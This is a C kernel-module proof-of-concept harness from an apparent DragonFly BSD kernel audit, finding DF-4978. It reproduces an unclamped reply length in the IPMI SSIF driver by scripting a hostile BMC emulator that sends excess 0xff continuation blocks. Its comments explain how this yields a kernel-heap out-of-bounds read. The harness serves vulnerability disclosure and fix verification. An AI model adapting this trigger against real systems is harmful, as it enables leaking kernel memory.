⬢ DragonFlyBSD Kernel Audit
DF-4978 / ssifshock.c
← back to finding ↓ download raw
/*
 * DF-4978 PoC harness (kernel module, root-only load).
 *
 * Finding: sys/dev/misc/ipmi/ipmi_ssif.c -- ssif_polled_request() copies
 * reply payload into req->ir_reply[] clamped to ir_replybuflen
 * (ipmi_ssif.c:241-242, 253, 291-293) but accumulates the BMC-controlled
 * total unclamped (ipmi_ssif.c:294 "len += count - 1" per READ_CONT
 * block; single-part ":240 len = count - 3") and stores it verbatim:
 *
 *	req->ir_replylen = len;			(ipmi_ssif.c:304)
 *
 * Every per-block count in this script is exactly SMBUS_DATA_SIZE (32) --
 * i.e. FULLY SMBus/IPMI-legal -- so this is NOT the DF-2025 shape
 * (count > 32 stack over-read) and NOT the DF-2026 shape (the loop
 * terminates with the 0xff end block).  A hostile BMC only has to send
 * more than ~33 middle blocks to drive ir_replylen past ir_replybuflen,
 * which is always IPMI_MAX_RX = 1024 for ioctl requests (ipmi.c:401-403,
 * sys/sys/ipmi.h:35).  The shared consumer ipmi_ioctl()
 * (ipmi.c:448-468) then does
 *
 *	len = kreq->ir_replylen + 1;  len = min(user data_len, len);
 *	copyout(kreq->ir_reply, ..., len - 1);
 *
 * -- a kernel-heap out-of-bounds READ (info leak) of up to 64 KB from
 * beyond the 1024-byte ir_reply chunk to any operator-group process.
 * This is the exact DF-4777 (ipmi_kcs.c:432) / DF-4948 (ipmi_smic.c:341)
 * shape, present and unfixed in the THIRD transport, SSIF.
 *
 * How this harness proves the PRODUCER half live on the guest:
 *
 *   - build.sh copies /usr/src/sys/dev/misc/ipmi/ipmi_ssif.c VERBATIM
 *     next to this file, which #includes it with -DLOCAL_MODULE so the
 *     only environment difference is the mock <ipmivars.h> /
 *     <bus/smbus/smbconf.h> pair: the smbus_bread()/smbus_bwrite()
 *     macros are redirected to a scripted hostile-BMC SMBus emulator
 *     below.  Every line of transport logic that runs is the shipped
 *     kernel source, unmodified.
 *
 *   - The emulator models a protocol-legal but hostile BMC: WRITE_START
 *     is absorbed (netfn/command echoed back), READ_START returns the
 *     canonical 32-byte multi-part first block ([0x00,0x01,...]), then
 *     POC_CONT_BLOCKS full 32-byte continuation blocks, then one
 *     terminating block.
 *
 *     NOTE on block pattern: DragonFly's loop break condition is
 *     INVERTED relative to both its own comment and the SSIF spec --
 *     "if (ssif_buf[0] != 0xff) break" (ipmi_ssif.c:297) means a
 *     NUMBERED block terminates the transaction while a 0xff-marked
 *     block CONTINUES it (FreeBSD's original breaks on 0xff).  So the
 *     hostile continuation blocks carry 0xff and the terminator carries
 *     the block number the driver expects; every count is exactly 32.
 *     len_final = 27 + (POC_CONT_BLOCKS+1)*31 = 16023 for 515.
 *
 * Expected output on a stock kernel:
 *   ssif_polled_request()=1
 *   req->ir_replylen   = 16023    <-- unclamped BMC-controlled total
 *   req->ir_replybuflen = 1024
 *   -> the ipmi.c sink then copies out up to 16024 bytes from the
 *      1024-byte chunk (demonstrated live end-to-end by the DF-4777/
 *      DF-4948 sink harness, re-run here as run.sh phase 2).
 *
 * Expected output after fix.diff (clamp at ipmi_ssif.c:304):
 *   req->ir_replylen   = 1024     <-- clamped to ir_replybuflen
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/conf.h>
#include <sys/bus.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/thread.h>

/* the code under test, verbatim (copied here by build.sh, never edited) */
#include "ipmi_ssif.c"

#define	POC_REPLYBUF		1024	/* IPMI_MAX_RX (sys/sys/ipmi.h:35) */
#define	POC_CONT_BLOCKS		515	/* -> ir_replylen = 27+516*31 = 16023 */

/* ---------- link stubs (ssif_loop/attach compile, never run) ---------- */

struct ipmi_request *
ipmi_dequeue_request(struct ipmi_softc *sc)
{
	return (NULL);
}

void
ipmi_complete_request(struct ipmi_softc *sc, struct ipmi_request *req)
{
}

int
ipmi_polled_enqueue_request(struct ipmi_softc *sc, struct ipmi_request *req)
{
	return (0);
}

/* ---------- scripted hostile-BMC SMBus emulation ---------- */

static u_char emu_req_addr, emu_req_cmd;
static int emu_conts;		/* middle READ_CONT blocks served */
static int emu_final_sent;

int
smbus_request_bus(device_t bus, device_t dev, int how)
{
	return (0);
}

int
smbus_release_bus(device_t bus, device_t dev)
{
	return (0);
}

int
smbus_error(int error)
{
	return (error);
}

/*
 * Host -> BMC block writes.  The driver lays out [NetFn/LUN, cmd, data...]
 * (ipmi_ssif.c:88-92); a real BMC remembers them for the reply echo.
 */
int
ssif_emu_bwrite(device_t bus, u_char slave, u_char cmd, u_char count,
    const u_char *buf)
{
	switch (cmd) {
	case SMBUS_WRITE_SINGLE:
	case SMBUS_WRITE_START:
		if (count >= 2) {
			emu_req_addr = buf[0];
			emu_req_cmd = buf[1];
		}
		emu_conts = 0;
		emu_final_sent = 0;
		return (0);
	default:	/* SMBUS_WRITE_CONT payload / 0x00 terminator */
		return (0);
	}
}

/*
 * BMC -> host block reads.  All counts are exactly SMBUS_DATA_SIZE (32):
 * SMBus-legal.  The hostility is purely in the NUMBER of middle blocks.
 */
int
ssif_emu_bread(device_t bus, u_char slave, u_char cmd, u_char *count,
    u_char *buf)
{
	int i;

	switch (cmd) {
	case SMBUS_READ_START:
		*count = SMBUS_DATA_SIZE;
		buf[0] = 0x00;				/* multi-part marker */
		buf[1] = 0x01;				/* (ipmi_ssif.c:209) */
		buf[2] = IPMI_REPLY_ADDR(emu_req_addr);	/* NetFn/LUN echo */
		buf[3] = emu_req_cmd;			/* command echo */
		buf[4] = 0x00;				/* completion code */
		for (i = 5; i < SMBUS_DATA_SIZE; i++)	/* 27 payload bytes */
			buf[i] = 0xA0 | (i & 0x0f);
		emu_conts = 0;
		return (0);
	case SMBUS_READ_CONT:
		if (!emu_final_sent && emu_conts < POC_CONT_BLOCKS) {
			/*
			 * Continuation block.  0xff first byte: under
			 * DragonFly's inverted break condition
			 * (ipmi_ssif.c:297-298) this KEEPS the loop alive
			 * (under the SSIF spec / FreeBSD code it would be
			 * the end marker).
			 */
			*count = SMBUS_DATA_SIZE;
			buf[0] = 0xff;
			for (i = 1; i < SMBUS_DATA_SIZE; i++)
				buf[i] = 0xB0 | (i & 0x0f);
			emu_conts++;
			return (0);
		}
		/*
		 * Terminating block: carries the block number the driver
		 * expects (block starts at 1 and increments once per 0xff
		 * block; u_char wrap mirrored), which satisfies the
		 * ipmi_ssif.c:274 check and trips the != 0xff break.
		 */
		*count = SMBUS_DATA_SIZE;
		buf[0] = (u_char)(emu_conts + 1);
		for (i = 1; i < SMBUS_DATA_SIZE; i++)
			buf[i] = 0xC0 | (i & 0x0f);
		emu_final_sent = 1;
		return (0);
	default:
		return (ENXIO);
	}
}

/* ---------- run the verbatim transport once with a 1024-byte reply buf -- */

static struct ipmi_softc poc_sc;
static struct ipmi_request poc_req;
static u_char poc_reqbuf[8], poc_replybuf[POC_REPLYBUF];

static int
ssifshock_modevent(module_t mod, int type, void *data)
{
	int ok;

	switch (type) {
	case MOD_LOAD:
		memset(&poc_sc, 0, sizeof(poc_sc));
		poc_sc.ipmi_ssif_smbus = NULL;		/* opaque to the mock */
		poc_sc.ipmi_ssif_smbus_address = 0x20;

		memset(&poc_req, 0, sizeof(poc_req));
		memset(poc_reqbuf, 0x5a, sizeof(poc_reqbuf));
		poc_req.ir_addr = 0x18;		/* netfn 6 (App), lun 0 */
		poc_req.ir_command = 0x01;	/* GET_DEVICE_ID */
		poc_req.ir_request = poc_reqbuf;
		poc_req.ir_requestlen = 4;	/* single-part write path */
		poc_req.ir_reply = poc_replybuf;
		poc_req.ir_replybuflen = POC_REPLYBUF;

		ok = ssif_polled_request(&poc_sc, &poc_req);

		kprintf("ssifshock: ssif_polled_request() = %d\n", ok);
		kprintf("ssifshock: emu middle blocks served = %d\n", emu_conts);
		kprintf("ssifshock: req->ir_replylen   = %d  "
		    "(BMC-controlled total, ipmi_ssif.c:304)\n",
		    poc_req.ir_replylen);
		kprintf("ssifshock: req->ir_replybuflen = %zd\n",
		    poc_req.ir_replybuflen);
		if (ok && poc_req.ir_replylen > (int)poc_req.ir_replybuflen)
			kprintf("BUG DF-4978 REPRODUCED: unclamped "
			    "ir_replylen=%d over %zd-byte buffer "
			    "(%d bytes past end) -- heap OOB read at "
			    "ipmi.c:448-468 copyout follows\n",
			    poc_req.ir_replylen, poc_req.ir_replybuflen,
			    poc_req.ir_replylen - (int)poc_req.ir_replybuflen);
		else if (ok)
			kprintf("ssifshock: clamped (ir_replylen %d <= "
			    "buflen %zd) -- fix present\n",
			    poc_req.ir_replylen, poc_req.ir_replybuflen);
		else
			kprintf("ssifshock: transport FAILED (unexpected)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(ssifshock, ssifshock_modevent, NULL);